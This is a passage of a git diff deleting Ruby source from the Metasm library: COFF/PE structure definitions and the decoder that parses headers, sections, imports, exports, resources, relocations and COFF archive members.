:name, 8 - words :virtsize, :virtaddr, :rawsize, :rawaddr, :relocaddr, :linenoaddr - halfs :relocnr, :linenonr - word :characteristics - fld_bits :characteristics, SECTION_CHARACTERISTIC_BITS - - attr_accessor :encoded, :relocs - end - - # COFF relocatable object relocation (per section, see relocaddr/relocnr) - class RelocObj < SerialStruct - word :va - word :symidx - half :type - fld_enum(:type) { |coff, rel| RELOCATION_TYPE[coff.header.machine] || {} } - attr_accessor :sym - end - - # lists the functions/addresses exported to the OS (pendant of ImportDirectory) - class ExportDirectory < SerialStruct - words :reserved, :timestamp - halfs :version_major, :version_minor - words :libname_p, :ordinal_base, :num_exports, :num_names, :func_p, :names_p, :ord_p - attr_accessor :libname, :exports - - class Export - attr_accessor :forwarder_lib, :forwarder_ordinal, :forwarder_name, :target, :target_rva, :name_p, :name, :ordinal - end - end - - # contains the name of dynamic libraries required by the program, and the function to import from them - class ImportDirectory < SerialStruct - words :ilt_p, :timestamp, :firstforwarder, :libname_p, :iat_p - fld_default :firstforwarder, 0xffff_ffff - attr_accessor :libname, :imports, :iat - - class Import - attr_accessor :ordinal, :hint, :hintname_p, :name, :target, :thunk - end - end - - # tree-like structure, holds all misc data the program might need (icons, cursors, version information) - # conventionnally structured in a 3-level depth structure: - # I resource type (icon/cursor/etc, see +TYPES+) - # II resource id (icon n1, icon 'toto', ...) - # III language-specific version (icon n1 en, icon n1 en-dvorak...) - class ResourceDirectory < SerialStruct - words :characteristics, :timestamp - halfs :major_version, :minor_version, :nr_names, :nr_id - attr_accessor :entries - attr_accessor :curoff_label # internal use, in encoder - - class Entry - attr_accessor :name_p, :name, :name_w, - :id, :subdir_p, :subdir, :dataentry_p, - :data_p, :data, :codepage, :reserved - end - end - - # array of relocations to apply to an executable file - # when it is loaded at an address that is not its preferred_base_address - class RelocationTable < SerialStruct - word :base_addr - attr_accessor :relocs - - class Relocation < SerialStruct - bitfield :half, 0 => :offset, 12 => :type - fld_enum :type, BASE_RELOCATION_TYPE - end - end - - class DebugDirectory < SerialStruct - words :characteristics, :timestamp - halfs :major_version, :minor_version - words :type, :size_of_data, :addr, :pointer - fld_enum :type, DEBUG_TYPE - - attr_accessor :data - - class NB10 < SerialStruct - word :offset - word :signature - word :age - strz :pdbfilename - end - - class RSDS < SerialStruct - mem :guid, 16 - word :age - strz :pdbfilename - end - end - - class TLSDirectory < SerialStruct - xwords :start_va, :end_va, :index_addr, :callback_p - words :zerofill_sz, :characteristics - - attr_accessor :callbacks - end - - # the 'load configuration' directory (used for SafeSEH) - class LoadConfig < SerialStruct - words :signature, :timestamp - halfs :major_version, :minor_version - words :globalflags_clear, :globalflags_set, :critsec_timeout - # lockpfxtable is an array of VA of LOCK prefixes, to be nopped on singleproc machines (!) - xwords :decommitblock, :decommittotal, :lockpfxtable, :maxalloc, :maxvirtmem, :process_affinity_mask - word :process_heap_flags - halfs :service_pack_id, :reserved - xwords :editlist, :security_cookie, :sehtable_p, :sehcount - - attr_accessor :safeseh - end - - class DelayImportDirectory < SerialStruct - words :attributes, :libname_p, :handle_p, :iat_p, :int_p, :biat_p, :uiat_p, :timestamp - - attr_accessor :libname - end - - # structure defining entrypoints and stuff for .net binaries - class Cor20Header < SerialStruct - word :size - halfs :major_version, :minor_version # runtime version - words :metadata_rva, :metadata_sz - word :flags - fld_bits :flags, COMIMAGE_FLAGS - word :entrypoint # RVA to native or managed ep, depending on flags - words :resources_rva, :resources_sz - words :strongnamesig_rva, :strongnamesig_sz - words :codemgr_rva, :codemgr_sz - words :vtfixup_rva, :vtfixup_sz - words :eatjumps_rva, :eatjumps_sz - words :managednativehdr_rva, :managednativehdr_sz - - attr_accessor :metadata, :resources, :strongnamesig, :codemgr, :vtfixup, :eatjumps, :managednativehdr - end - - # for the icon, the one that appears in the explorer is - # (NT) the one with the lowest ID - # (98) the first to appear in the table - class ResourceDirectory - def to_hash(depth=0) - map = case depth - when 0; TYPE - when 1; {} # resource-id - when 2; {} # lang - else {} - end - @entries.inject({}) { |h, e| - k = e.id ? map.fetch(e.id, e.id) : e.name ? e.name : e.name_w - v = e.subdir ? e.subdir.to_hash(depth+1) : e.data - h.update k => v - } - end - - def self.from_hash(h, depth=0) - map = case depth - when 0; TYPE - when 1; {} # resource-id - when 2; {} # lang - else {} - end - ret = new - ret.entries = h.map { |k, v| - e = Entry.new - k.kind_of?(Integer) ? (e.id = k) : map.index(k) ? (e.id = map.index(k)) : (e.name = k) # name_w ? - v.kind_of?(Hash) ? (e.subdir = from_hash(v, depth+1)) : (e.data = v) - e - } - ret - end - - # returns a string with the to_hash key tree - def to_s - to_s_a(0).join("\n") - end - - def to_s_a(depth) - @entries.map { |e| - ar = [] - ar << if e.id - if depth == 0 and TYPE.has_key?(e.id); "#{e.id.to_s} (#{TYPE[e.id]})".ljust(18) - else e.id.to_s.ljust(5) - end - else (e.name || e.name_w).inspect - end - if e.subdir - sa = e.subdir.to_s_a(depth+1) - if sa.length == 1 - ar.last << " | #{sa.first}" - else - ar << sa.map { |s| ' ' + s } - end - elsif e.data.length > 16 - ar.last << " #{e.data[0, 8].inspect}... <#{e.data.length} bytes>" - else - ar.last << ' ' << e.data.inspect - end - ar - }.flatten - end - - TYPE = { - 1 => 'CURSOR', 2 => 'BITMAP', 3 => 'ICON', 4 => 'MENU', - 5 => 'DIALOG', 6 => 'STRING', 7 => 'FONTDIR', 8 => 'FONT', - 9 => 'ACCELERATOR', 10 => 'RCADATA', 11 => 'MESSAGETABLE', - 12 => 'GROUP_CURSOR', 14 => 'GROUP_ICON', 16 => 'VERSION', - 17 => 'DLGINCLUDE', 19 => 'PLUGPLAY', 20 => 'VXD', - 21 => 'ANICURSOR', 22 => 'ANIICON', 23 => 'HTML', - 24 => 'MANIFEST' - } - - ACCELERATOR_BITS = { - 1 => 'VIRTKEY', 2 => 'NOINVERT', 4 => 'SHIFT', 8 => 'CTRL', - 16 => 'ALT', 128 => 'LAST' - } - - # cursor = raw data, cursor_group = header , pareil pour les icons - class Cursor - attr_accessor :xhotspot, :yhotspot, :data - end - end - - attr_accessor :header, :optheader, :directory, :sections, :endianness, :symbols, :bitsize, - :export, :imports, :resource, :certificates, :relocations, :debug, :tls, :loadconfig, :delayimports, :com_header - - # boolean, set to true to have #decode() ignore the base_relocs directory - attr_accessor :nodecode_relocs - - def initialize(*a) - cpu = a.grep(CPU).first - @nodecode_relocs = true if a.include? :nodecode_relocs - - @directory = {} # DIRECTORIES.key => [rva, size] - @sections = [] - @endianness = cpu ? cpu.endianness : :little - @bitsize = cpu ? cpu.size : 32 - @header = Header.new - @optheader = OptionalHeader.new - super(cpu) - end - - def shortname; 'coff'; end - - def sizeof_byte ; 1 ; end - def sizeof_half ; 2 ; end - def sizeof_word ; 4 ; end - def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end -end - -# the COFF archive file format -# maybe used in .lib files (they hold binary import information for libraries) -# used for unix .a static library files (with no 2nd linker and newline-separated longnames) -class COFFArchive < ExeFormat - class Member < SerialStruct - mem :name, 16 - mem :date, 12 - mem :uid, 6 - mem :gid, 6 - mem :mode, 8 - mem :size, 10 - mem :eoh, 2 - - attr_accessor :offset, :encoded - end - - class ImportHeader < SerialStruct - halfs :sig1, :sig2, :version, :machine - words :timestamp, :size_of_data - half :hint - bitfield :half, 0 => :reserved, 11 => :name_type, 14 => :type - #fld_enum :type, IMPORT_TYPE - #fld_enum :name_type, NAME_TYPE - strz :symname - strz :libname - end - - attr_accessor :members, :signature, :first_linker, :second_linker, :longnames - - # return the 1st member whose name is name - def member(name) - @members.find { |m| m.name == name } - end - - def sizeof_half ; 2 ; end - def sizeof_word ; 4 ; end -end -end - -require 'metasm/exe_format/coff_encode' -require 'metasm/exe_format/coff_decode' diff --git a/lib/metasm/metasm/exe_format/coff_decode.rb b/lib/metasm/metasm/exe_format/coff_decode.rb deleted file mode 100644 index e46528a119..0000000000 --- a/lib/metasm/metasm/exe_format/coff_decode.rb +++ /dev/null @@ -1,934 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/decode' -require 'metasm/exe_format/coff' unless defined? Metasm::COFF - -module Metasm -class COFF - class OptionalHeader - decode_hook(:entrypoint) { |coff, ohdr| - coff.bitsize = (ohdr.signature == 'PE+' ? 64 : 32) - } - - # decodes a COFF optional header from coff.cursection - # also decodes directories in coff.directory - def decode(coff) - return set_default_values(coff) if coff.header.size_opthdr == 0 and not coff.header.characteristics.include?('EXECUTABLE_IMAGE') - off = coff.curencoded.ptr - super(coff) - nrva = (coff.header.size_opthdr - (coff.curencoded.ptr - off)) / 8 - nrva = @numrva if nrva < 0 - - if nrva > DIRECTORIES.length or nrva != @numrva - puts "W: COFF: Weird directories count #{@numrva}" if $VERBOSE - nrva = DIRECTORIES.length if nrva > DIRECTORIES.length - end - - coff.directory = {} - DIRECTORIES[0, nrva].each { |dir| - rva = coff.decode_word - sz = coff.decode_word - if rva != 0 or sz != 0 - coff.directory[dir] = [rva, sz] - end - } - end - end - - class Symbol - def decode(coff, strtab='') - n0, n1 = coff.decode_word, coff.decode_word - coff.encoded.ptr -= 8 - - super(coff) - - if n0 == 0 and ne = strtab.index(?\0, n1) - @name = strtab[n1...ne] - end - return if @nr_aux == 0 - - @aux = [] - @nr_aux.times { @aux << coff.encoded.read(18) } - end - end - - class Section - def decode(coff) - super(coff) - coff.decode_section_body(self) - end - end - - class RelocObj - def decode(coff) - super(coff) - @sym = coff.symbols[@symidx] - end - end - - class ExportDirectory - # decodes a COFF export table from coff.cursection - def decode(coff) - super(coff) - - if coff.sect_at_rva(@libname_p) - @libname = coff.decode_strz - end - - if coff.sect_at_rva(@func_p) - @exports = [] - addrs = [] - @num_exports.times { addrs << coff.decode_word } - @num_exports.times { |i| - e = Export.new - e.ordinal = i + @ordinal_base - addr = addrs[i] - if addr >= coff.directory['export_table'][0] and addr < coff.directory['export_table'][0] + coff.directory['export_table'][1] and coff.sect_at_rva(addr) - name = coff.decode_strz - e.forwarder_lib, name = name.split('.', 2) - if name[0] == ?# - e.forwarder_ordinal = name[1..-1].to_i - else - e.forwarder_name = name - end - else - e.target = e.target_rva = addr - end - @exports << e - } - end - if coff.sect_at_rva(@names_p) - namep = [] - num_names.times { namep << coff.decode_word } - end - if coff.sect_at_rva(@ord_p) - ords = [] - num_names.times { ords << coff.decode_half } - end - if namep and ords - namep.zip(ords).each { |np, oi| - @exports[oi].name_p = np - if coff.sect_at_rva(np) - @exports[oi].name = coff.decode_strz - end - } - end - end - end - - class ImportDirectory - # decodes all COFF import directories from coff.cursection - def self.decode_all(coff) - ret = [] - loop do - idata = decode(coff) - break if [idata.ilt_p, idata.libname_p].uniq == [0] - ret << idata - end - ret.each { |idata| idata.decode_inner(coff) } - ret - end - - # decode the tables referenced - def decode_inner(coff) - if coff.sect_at_rva(@libname_p) - @libname = coff.decode_strz - end - - if coff.sect_at_rva(@ilt_p) || coff.sect_at_rva(@iat_p) - addrs = [] - while (a_ = coff.decode_xword) != 0 - addrs << a_ - end - - @imports = [] - - ord_mask = 1 << (coff.bitsize-1) - addrs.each { |a| - i = Import.new - if (a & ord_mask) != 0 - i.ordinal = a & (~ord_mask) - else - i.hintname_p = a - if coff.sect_at_rva(a) - i.hint = coff.decode_half - i.name = coff.decode_strz - end - end - @imports << i - } - end - - if coff.sect_at_rva(@iat_p) - @iat = [] - while (a = coff.decode_xword) != 0 - @iat << a - end - end - end - end - - class ResourceDirectory - def decode(coff, edata = coff.curencoded, startptr = edata.ptr, maxdepth=3) - super(coff, edata) - - @entries = [] - - nrnames = @nr_names if $DEBUG - (@nr_names+@nr_id).times { - e = Entry.new - - e_id = coff.decode_word(edata) - e_ptr = coff.decode_word(edata) - - if not e_id.kind_of? Integer or not e_ptr.kind_of? Integer - puts 'W: COFF: relocs in the rsrc directory?' if $VERBOSE - next - end - - tmp = edata.ptr - - if (e_id >> 31) == 1 - if $DEBUG - nrnames -= 1 - puts "W: COFF: rsrc has invalid id #{e_id}" if nrnames < 0 - end - e.name_p = e_id & 0x7fff_ffff - edata.ptr = startptr + e.name_p - namelen = coff.decode_half(edata) - e.name_w = edata.read(2*namelen) - if (chrs = e.name_w.unpack('v*')).all? { |c| c >= 0 and c <= 255 } - e.name = chrs.pack('C*') - end - else - if $DEBUG - puts "W: COFF: rsrc has invalid id #{e_id}" if nrnames > 0 - end - e.id = e_id - end - - if (e_ptr >> 31) == 1 # subdir - e.subdir_p = e_ptr & 0x7fff_ffff - if startptr + e.subdir_p >= edata.length - puts 'W: COFF: invalid resource structure: directory too far' if $VERBOSE - elsif maxdepth > 0 - edata.ptr = startptr + e.subdir_p - e.subdir = ResourceDirectory.new - e.subdir.decode coff, edata, startptr, maxdepth-1 - else - puts 'W: COFF: recursive resource section' if $VERBOSE - end - else - e.dataentry_p = e_ptr - edata.ptr = startptr + e.dataentry_p - e.data_p = coff.decode_word(edata) - sz = coff.decode_word(edata) - e.codepage = coff.decode_word(edata) - e.reserved = coff.decode_word(edata) - - if coff.sect_at_rva(e.data_p) - e.data = coff.curencoded.read(sz) - else - puts 'W: COFF: invalid resource body offset' if $VERBOSE - break - end - end - - edata.ptr = tmp - @entries << e - } - end - - def decode_version(coff, lang=nil) - vers = {} - - decode_tllv = lambda { |ed, state| - sptr = ed.ptr - len, vlen = coff.decode_half(ed), coff.decode_half(ed) - coff.decode_half(ed) # type - tagname = '' - while c = coff.decode_half(ed) and c != 0 - tagname << (c&255) - end - ed.ptr = (ed.ptr + 3) / 4 * 4 - - case state - when 0 - raise if tagname != 'VS_VERSION_INFO' - dat = ed.read(vlen) - dat.unpack('V*').zip([:signature, :strucversion, :fileversionm, :fileversionl, :prodversionm, :prodversionl, :fileflagsmask, :fileflags, :fileos, :filetype, :filesubtype, :filedatem, :filedatel]) { |v, k| vers[k] = v } - raise if vers[:signature] != 0xfeef04bd - vers.delete :signature - vers[:fileversion] = (vers.delete(:fileversionm) << 32) | vers.delete(:fileversionl) - vers[:prodversion] = (vers.delete(:prodversionm) << 32) | vers.delete(:prodversionl) - vers[:filedate] = (vers.delete(:filedatem) << 32) | vers.delete(:filedatel) - nstate = 1 - when 1 - nstate = case tagname - when 'StringFileInfo'; :strtable - when 'VarFileInfo'; :var - else raise - end - when :strtable - nstate = :str - when :str - val = ed.read(vlen*2).unpack('v*') - val.pop if val[-1] == 0 - val = val.pack('C*') if val.all? { |c_| c_ > 0 and c_ < 256 } - vers[tagname] = val - when :var - val = ed.read(vlen).unpack('V*') - vers[tagname] = val - end - - ed.ptr = (ed.ptr + 3) / 4 * 4 - len = ed.length-sptr if len > ed.length-sptr - while ed.ptr < sptr+len - decode_tllv[ed, nstate] - ed.ptr = (ed.ptr + 3) / 4 * 4 - end - } - - return if not e = @entries.find { |e_| e_.id == TYPE.index('VERSION') } - e = e.subdir.entries.first.subdir - e = e.entries.find { |e_| e_.id == lang } || e.entries.first - ed = EncodedData.new(e.data) - decode_tllv[ed, 0] - - vers - #rescue - end - end - - class RelocationTable - # decodes a relocation table from coff.encoded.ptr - def decode(coff) - super(coff) - len = coff.decode_word - len -= 8 - if len < 0 or len % 2 != 0 - puts "W: COFF: Invalid relocation table length #{len+8}" if $VERBOSE - coff.curencoded.read(len) if len > 0 - @relocs = [] - return - end - - @relocs = coff.curencoded.read(len).unpack(coff.endianness == :big ? 'n*' : 'v*').map { |r| Relocation.new(r&0xfff, r>>12) } - #(len/2).times { @relocs << Relocation.decode(coff) } # tables may be big, this is too slow - end - end - - class TLSDirectory - def decode(coff) - super(coff) - - if coff.sect_at_va(@callback_p) - @callbacks = [] - while (ptr = coff.decode_xword) != 0 - # __stdcall void (*ptr)(void* dllhandle, dword reason, void* reserved) - # (same as dll entrypoint) - @callbacks << (ptr - coff.optheader.image_base) - end - end - end - end - - class LoadConfig - def decode(coff) - super(coff) - - if @sehcount >= 0 and @sehcount < 100 and (@signature == 0x40 or @signature == 0x48) and coff.sect_at_va(@sehtable_p) - @safeseh = [] - @sehcount.times { @safeseh << coff.decode_xword } - end - end - end - - class DelayImportDirectory - def self.decode_all(coff) - ret = [] - loop do - didata = decode(coff) - break if [didata.libname_p, didata.handle_p, didata.iat_p].uniq == [0] - ret << didata - end - ret.each { |didata| didata.decode_inner(coff) } - ret - end - - def decode_inner(coff) - if coff.sect_at_rva(@libname_p) - @libname = coff.decode_strz - end - # TODO - end - end - - class Cor20Header - def decode_all(coff) - if coff.sect_at_rva(@metadata_rva) - @metadata = coff.curencoded.read(@metadata_sz) - end - if coff.sect_at_rva(@resources_rva) - @resources = coff.curencoded.read(@resources_sz) - end - if coff.sect_at_rva(@strongnamesig_rva) - @strongnamesig = coff.curencoded.read(@strongnamesig_sz) - end - if coff.sect_at_rva(@codemgr_rva) - @codemgr = coff.curencoded.read(@codemgr_sz) - end - if coff.sect_at_rva(@vtfixup_rva) - @vtfixup = coff.curencoded.read(@vtfixup_sz) - end - if coff.sect_at_rva(@eatjumps_rva) - @eatjumps = coff.curencoded.read(@eatjumps_sz) - end - if coff.sect_at_rva(@managednativehdr_rva) - @managednativehdr = coff.curencoded.read(@managednativehdr_sz) - end - end - end - - class DebugDirectory - def decode_inner(coff) - case @type - when 'CODEVIEW' - # XXX what is @pointer? - return if not coff.sect_at_rva(@addr) - sig = coff.curencoded.read(4) - case sig - when 'NB09' # CodeView 4.10 - when 'NB10' # external pdb2.0 - @data = NB10.decode(coff) - when 'NB11' # CodeView 5.0 - when 'RSDS' # external pdb7.0 - @data = RSDS.decode(coff) - end - end - end - end - - attr_accessor :cursection - def curencoded - @cursection.encoded - end - - def decode_byte( edata = curencoded) ; edata.decode_imm(:u8, @endianness) end - def decode_half( edata = curencoded) ; edata.decode_imm(:u16, @endianness) end - def decode_word( edata = curencoded) ; edata.decode_imm(:u32, @endianness) end - def decode_xword(edata = curencoded) ; edata.decode_imm((@bitsize == 32 ? :u32 : :u64), @endianness) end - def decode_strz( edata = curencoded) ; super(edata) ; end - - # converts an RVA (offset from base address of file when loaded in memory) to the section containing it using the section table - # updates @cursection and @cursection.encoded.ptr to point to the specified address - # may return self when rva points to the coff header - # returns nil if none match, 0 never matches - def sect_at_rva(rva) - return if not rva or rva <= 0 - if sections and not @sections.empty? - if s = @sections.find { |s_| s_.virtaddr <= rva and s_.virtaddr + EncodedData.align_size((s_.virtsize == 0 ? s_.rawsize : s_.virtsize), @optheader.sect_align) > rva } - s.encoded.ptr = rva - s.virtaddr - @cursection = s - elsif rva < @sections.map { |s_| s_.virtaddr }.min - @encoded.ptr = rva - @cursection = self - end - elsif rva <= @encoded.length - @encoded.ptr = rva - @cursection = self - end - end - - def sect_at_va(va) - sect_at_rva(va - @optheader.image_base) - end - - def label_rva(name) - if name.kind_of? Integer - name - elsif s = @sections.find { |s_| s_.encoded.export[name] } - s.virtaddr + s.encoded.export[name] - else - @encoded.export[name] - end - end - - # address -> file offset - # handles LoadedPE - def addr_to_fileoff(addr) - addr -= @load_address ||= @optheader.image_base - return 0 if addr == 0 # sect_at_rva specialcases 0 - if s = sect_at_rva(addr) - if s.respond_to? :virtaddr - addr - s.virtaddr + s.rawaddr - else # header - addr - end - end - end - - # file offset -> memory address - # handles LoadedPE - def fileoff_to_addr(foff) - if s = @sections.find { |s_| s_.rawaddr <= foff and s_.rawaddr + s_.rawsize > foff } - s.virtaddr + foff - s.rawaddr + (@load_address ||= @optheader.image_base) - elsif foff >= 0 and foff < @optheader.headers_size - foff + (@load_address ||= @optheader.image_base) - end - end - - def each_section - if @header.size_opthdr == 0 and not @header.characteristics.include?('EXECUTABLE_IMAGE') - @sections.each { |s| - next if not s.encoded - l = new_label(s.name) - s.encoded.add_export(l, 0) - yield s.encoded, l - } - return - end - base = @optheader.image_base - base = 0 if not base.kind_of? Integer - sz = @optheader.headers_size - sz = EncodedData.align_size(@optheader.image_size, 4096) if @sections.empty? - yield @encoded[0, sz], base - @sections.each { |s| yield s.encoded, base + s.virtaddr } - end - - # decodes the COFF header, optional header, section headers - # marks entrypoint and directories as edata.expord - def decode_header - @cursection ||= self - @encoded.ptr ||= 0 - @sections = [] - @header.decode(self) - optoff = @encoded.ptr - @optheader.decode(self) - decode_symbols if @header.num_sym != 0 and not @header.characteristics.include? 'DEBUG_STRIPPED' - curencoded.ptr = optoff + @header.size_opthdr - decode_sections - if sect_at_rva(@optheader.entrypoint) - curencoded.add_export new_label('entrypoint') - end - (DIRECTORIES - ['certificate_table']).each { |d| - if @directory[d] and sect_at_rva(@directory[d][0]) - curencoded.add_export new_label(d) - end - } - end - - # decode the COFF symbol table (obj only) - def decode_symbols - endptr = @encoded.ptr = @header.ptr_sym + 18*@header.num_sym - strlen = decode_word - @encoded.ptr = endptr - strtab = @encoded.read(strlen) - @encoded.ptr = @header.ptr_sym - @symbols = [] - @header.num_sym.times { - break if @encoded.ptr >= endptr or @encoded.ptr >= @encoded.length - @symbols << Symbol.decode(self, strtab) - # keep the reloc.sym_idx accurate - @symbols.last.nr_aux.times { @symbols << nil } - } - end - - # decode the COFF sections - def decode_sections - @header.num_sect.times { - @sections << Section.decode(self) - } - # now decode COFF object relocations - @sections.each { |s| - next if s.relocnr == 0 - curencoded.ptr = s.relocaddr - s.relocs = [] - s.relocnr.times { s.relocs << RelocObj.decode(self) } - new_label 'pcrel' - s.relocs.each { |r| - case r.type - when 'DIR32' - s.encoded.reloc[r.va] = Metasm::Relocation.new(Expression[r.sym.name], :u32, @endianness) - when 'REL32' - l = new_label('pcrel') - s.encoded.add_export(l, r.va+4) - s.encoded.reloc[r.va] = Metasm::Relocation.new(Expression[r.sym.name, :-, l], :u32, @endianness) - end - } - } if not @header.characteristics.include?('RELOCS_STRIPPED') - symbols.to_a.compact.each { |sym| - next if not sym.sec_nr.kind_of? Integer - next if sym.storage != 'EXTERNAL' and (sym.storage != 'STATIC' or sym.value == 0) - next if not s = @sections[sym.sec_nr-1] - s.encoded.add_export new_label(sym.name), sym.value - } - end - - # decodes a section content (allows simpler LoadedPE override) - def decode_section_body(s) - raw = EncodedData.align_size(s.rawsize, @optheader.file_align) - virt = s.virtsize - virt = raw = s.rawsize if @header.size_opthdr == 0 - virt = raw if virt == 0 - virt = EncodedData.align_size(virt, @optheader.sect_align) - s.encoded = @encoded[s.rawaddr, [raw, virt].min] || EncodedData.new - s.encoded.virtsize = virt - end - - # decodes COFF export table from directory - # mark exported names as encoded.export - def decode_exports - if @directory['export_table'] and sect_at_rva(@directory['export_table'][0]) - @export = ExportDirectory.decode(self) - @export.exports.to_a.each { |e| - if e.name and sect_at_rva(e.target) - name = e.name - elsif e.ordinal and sect_at_rva(e.target) - name = "ord_#{@export.libname}_#{e.ordinal}" - end - e.target = curencoded.add_export new_label(name) if name - } - end - end - - # decodes COFF import tables from directory - # mark iat entries as encoded.export - def decode_imports - if @directory['import_table'] and sect_at_rva(@directory['import_table'][0]) - @imports = ImportDirectory.decode_all(self) - iatlen = @bitsize/8 - @imports.each { |id| - if sect_at_rva(id.iat_p) - ptr = curencoded.ptr - id.imports.each { |i| - if i.name - name = new_label i.name - elsif i.ordinal - name = new_label "ord_#{id.libname}_#{i.ordinal}" - end - if name - i.target ||= name - r = Metasm::Relocation.new(Expression[name], "u#@bitsize".to_sym, @endianness) - curencoded.reloc[ptr] = r - curencoded.add_export new_label('iat_'+name), ptr, true - end - ptr += iatlen - } - end - } - end - end - - # decodes resources from directory - def decode_resources - if @directory['resource_table'] and sect_at_rva(@directory['resource_table'][0]) - @resource = ResourceDirectory.decode(self) - end - end - - # decode the VERSION information from the resources (file version, os, copyright etc) - def decode_version(lang=0x409) - decode_resources if not resource - resource.decode_version(self, lang) - end - - # decodes certificate table - def decode_certificates - if ct = @directory['certificate_table'] - @certificates = [] - @cursection = self - if ct[0] > @encoded.length or ct[1] > @encoded.length - ct[0] - puts "W: COFF: invalid certificate_table #{'0x%X+0x%0X' % ct}" if $VERBOSE - ct = [ct[0], 1] - end - @encoded.ptr = ct[0] - off_end = ct[0]+ct[1] - off_end = @encoded.length if off_end > @encoded.length - while @encoded.ptr < off_end - certlen = decode_word - certrev = decode_half - certtype = decode_half - certdat = @encoded.read(certlen) - @certificates << [certrev, certtype, certdat] - end - end - end - - # decode the COM Cor20 header - def decode_com - if @directory['com_runtime'] and sect_at_rva(@directory['com_runtime'][0]) - @com_header = Cor20Header.decode(self) - if sect_at_rva(@com_header.entrypoint) - curencoded.add_export new_label('com_entrypoint') - end - @com_header.decode_all(self) - end - end - - # decode COFF relocation tables from directory - def decode_relocs - if @directory['base_relocation_table'] and sect_at_rva(@directory['base_relocation_table'][0]) - end_ptr = curencoded.ptr + @directory['base_relocation_table'][1] - @relocations = [] - while curencoded.ptr < end_ptr - @relocations << RelocationTable.decode(self) - end - - # interpret as EncodedData relocations - relocfunc = ('decode_reloc_' << @header.machine.downcase).to_sym - if not respond_to? relocfunc - puts "W: COFF: unsupported relocs for architecture #{@header.machine}" if $VERBOSE - return - end - @relocations.each { |rt| - rt.relocs.each { |r| - if s = sect_at_rva(rt.base_addr + r.offset) - e, p = s.encoded, s.encoded.ptr - rel = send(relocfunc, r) - e.reloc[p] = rel if rel - end - } - } - end - end - - # decodes an I386 COFF relocation pointing to encoded.ptr - def decode_reloc_i386(r) - case r.type - when 'ABSOLUTE' - when 'HIGHLOW' - addr = decode_word - if s = sect_at_va(addr) - label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") - Metasm::Relocation.new(Expression[label], :u32, @endianness) - end - when 'DIR64' - addr = decode_xword - if s = sect_at_va(addr) - label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") - Metasm::Relocation.new(Expression[label], :u64, @endianness) - end - else puts "W: COFF: Unsupported i386 relocation #{r.inspect}" if $VERBOSE - end - end - - def decode_reloc_amd64(r) - case r.type - when 'ABSOLUTE' - when 'HIGHLOW' - addr = decode_word - if s = sect_at_va(addr) - label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") - Metasm::Relocation.new(Expression[label], :u32, @endianness) - end - when 'DIR64' - addr = decode_xword - if s = sect_at_va(addr) - label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") - Metasm::Relocation.new(Expression[label], :u64, @endianness) - end - else puts "W: COFF: Unsupported amd64 relocation #{r.inspect}" if $VERBOSE - end - end - - def decode_debug - if dd = @directory['debug'] and sect_at_rva(dd[0]) - @debug = [] - p0 = curencoded.ptr - while curencoded.ptr < p0 + dd[1] - @debug << DebugDirectory.decode(self) - end - @debug.each { |dbg| dbg.decode_inner(self) } - end - end - - # decode TLS directory, including tls callback table - def decode_tls - if @directory['tls_table'] and sect_at_rva(@directory['tls_table'][0]) - @tls = TLSDirectory.decode(self) - if s = sect_at_va(@tls.callback_p) - s.encoded.add_export 'tls_callback_table' - @tls.callbacks.each_with_index { |cb, i| - @tls.callbacks[i] = curencoded.add_export "tls_callback_#{i}" if sect_at_rva(cb) - } - end - end - end - - def decode_loadconfig - if lc = @directory['load_config'] and sect_at_rva(lc[0]) - @loadconfig = LoadConfig.decode(self) - end - end - - def decode_delayimports - if di = @directory['delay_import_table'] and sect_at_rva(di[0]) - @delayimports = DelayImportDirectory.decode_all(self) - end - end - - - # decodes a COFF file (headers/exports/imports/relocs/sections) - # starts at encoded.ptr - def decode - decode_header - decode_exports - decode_imports - decode_resources - decode_certificates - decode_debug - decode_tls - decode_loadconfig - decode_delayimports - decode_com - decode_relocs unless nodecode_relocs or ENV['METASM_NODECODE_RELOCS'] # decode relocs last - end - - # returns a metasm CPU object corresponding to +header.machine+ - def cpu_from_headers - case @header.machine - when 'I386'; Ia32.new - when 'AMD64'; X86_64.new - when 'R4000'; MIPS.new(:little) - else raise "unknown cpu #{@header.machine}" - end - end - - # returns an array including the PE entrypoint and the exported functions entrypoints - # TODO filter out exported data, include safeseh ? - def get_default_entrypoints - ep = [] - ep.concat @tls.callbacks.to_a if tls - ep << (@optheader.image_base + label_rva(@optheader.entrypoint)) - @export.exports.to_a.each { |e| - next if e.forwarder_lib or not e.target - ep << (@optheader.image_base + label_rva(e.target)) - } if export - ep - end - - def dump_section_header(addr, edata) - s = @sections.find { |s_| s_.virtaddr == addr-@optheader.image_base } - s ? "\n.section #{s.name.inspect} base=#{Expression[addr]}" : - addr == @optheader.image_base ? "// exe header at #{Expression[addr]}" : super(addr, edata) - end - - # returns an array of [name, addr, length, info] - def section_info - [['header', @optheader.image_base, @optheader.headers_size, nil]] + - @sections.map { |s| - [s.name, @optheader.image_base + s.virtaddr, s.virtsize, s.characteristics.join(',')] - } - end -end - -class COFFArchive - class Member - def decode(ar) - @offset = ar.encoded.ptr - - super(ar) - raise 'bad member header' + self.inspect if @eoh != "`\n" - - @name.strip! - @date = @date.to_i - @uid = @uid.to_i - @gid = @gid.to_i - @mode = @mode.to_i(8) - @size = @size.to_i - - @encoded = ar.encoded[ar.encoded.ptr, @size] - ar.encoded.ptr += @size - ar.encoded.ptr += 1 if @size & 1 == 1 - end - - # TODO XXX are those actually used ? - def decode_half ; @encoded.decode_imm(:u16, :big) end - def decode_word ; @encoded.decode_imm(:u32, :big) end - - def exe; AutoExe.decode(@encoded) ; end - end - - def decode_half(edata = @encoded) ; edata.decode_imm(:u16, :little) end - def decode_word(edata = @encoded) ; edata.decode_imm(:u32, :little) end - def decode_strz(edata = @encoded) - i = edata.data.index(?\0, edata.ptr) || edata.data.index(?\n, edata.ptr) || (edata.length+1) - edata.read(i+1-edata.ptr).chop - end - - def decode_first_linker(m) - offsets = [] - names = [] - m.encoded.ptr = 0 - numsym = m.decode_word - numsym.times { offsets << m.decode_word } - numsym.times { names << decode_strz(m.encoded) } - - # names[42] is 